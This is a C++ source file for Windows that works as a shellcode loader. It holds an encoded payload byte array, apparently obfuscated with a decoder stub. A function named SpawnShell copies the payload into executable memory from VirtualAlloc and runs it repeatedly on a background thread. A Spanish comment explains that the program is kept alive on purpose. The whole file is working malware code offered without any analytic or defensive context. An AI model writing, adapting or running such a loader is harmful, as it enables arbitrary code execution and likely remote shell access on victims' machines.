#include <process.h>
#include <iostream>
using namespace std;
void SpawnShell(void *dummy);
char szPayload[] =
"\xba\x10\x4c\x14\x4c\xda\xc7\xd9\x74\x24"
"\xf4\x58\x31\xc9\xb1\x56\x31\x50\x13\x83"
"\xc0\x04\x03\x50\x1f\xae\xe1\xb0\xf7\xa7"
"\x0a\x49\x07\xd8\x83\xac\x36\xca\xf0\xa5"
"\x6a\xda\x73\xeb\x86\x91\xd6\x18\x1d\xd7"
"\xfe\x2f\x96\x52\xd9\x1e\x27\x53\xe5\xcd"
"\xeb\xf5\x99\x0f\x3f\xd6\xa0\xdf\x32\x17"
"\xe4\x02\xbc\x45\xbd\x49\x6e\x7a\xca\x0c"
"\xb2\x7b\x1c\x1b\x8a\x03\x19\xdc\x7e\xbe"
"\x20\x0d\x2e\xb5\x6b\xb5\x45\x91\x4b\xc4"
"\x8a\xc1\xb0\x8f\xa7\x32\x42\x0e\x61\x0b"
"\xab\x20\x4d\xc0\x92\x8c\x40\x18\xd2\x2b"
"\xba\x6f\x28\x48\x47\x68\xeb\x32\x93\xfd"
"\xee\x95\x50\xa5\xca\x24\xb5\x30\x98\x2b"
"\x72\x36\xc6\x2f\x85\x9b\x7c\x4b\x0e\x1a"
"\x53\xdd\x54\x39\x77\x85\x0f\x20\x2e\x63"
"\xfe\x5d\x30\xcb\x5f\xf8\x3a\xfe\xb4\x7a"
"\x61\x97\x79\xb1\x9a\x67\x15\xc2\xe9\x55"
"\xba\x78\x66\xd6\x33\xa7\x71\x19\x6e\x1f"
"\xed\xe4\x90\x60\x27\x23\xc4\x30\x5f\x82"
"\x64\xdb\x9f\x2b\xb1\x4c\xf0\x83\x69\x2d"
"\xa0\x63\xd9\xc5\xaa\x6b\x06\xf5\xd4\xa1"
"\x31\x31\x1b\x91\x12\xd6\x5e\x25\x85\x7a"
"\xd6\xc3\xcf\x92\xbe\x5c\x67\x51\xe5\x54"
"\x10\xaa\xcf\xc8\x89\x3c\x47\x07\x0d\x42"
"\x58\x0d\x3e\xef\xf0\xc6\xb4\xe3\xc4\xf7"
"\xcb\x29\x6d\x71\xf4\xba\xe7\xef\xb7\x5b"
"\xf7\x25\x2f\xff\x6a\xa2\xaf\x76\x97\x7d"
"\xf8\xdf\x69\x74\x6c\xf2\xd0\x2e\x92\x0f"
"\x84\x09\x16\xd4\x75\x97\x97\x99\xc2\xb3"
"\x87\x67\xca\xff\xf3\x37\x9d\xa9\xad\xf1"
"\x77\x18\x07\xa8\x24\xf2\xcf\x2d\x07\xc5"
"\x89\x31\x42\xb3\x75\x83\x3b\x82\x8a\x2c"
"\xac\x02\xf3\x50\x4c\xec\x2e\xd1\x72\x1c"
"\xe2\xcc\xe3\x87\x97\xac\x69\x38\x42\xf2"
"\x97\xbb\x66\x8b\x63\xa3\x03\x8e\x28\x63"
"\xf8\xe2\x21\x06\xfe\x51\x41\x03";
int main()
{
_beginthread(SpawnShell, 0, 0);
while(true); //Para que no se termine el programa.
return 0;
}
void SpawnShell(void *dummy)
{
void *vPayload = VirtualAlloc(0, sizeof(szPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(vPayload, szPayload, sizeof(szPayload)-2);
do
{
cout << "Started" << endl;
try
{
((void(*)())vPayload)();
}
catch(DWORD dwOut){cout << dwOut << endl;}
}while(true);
}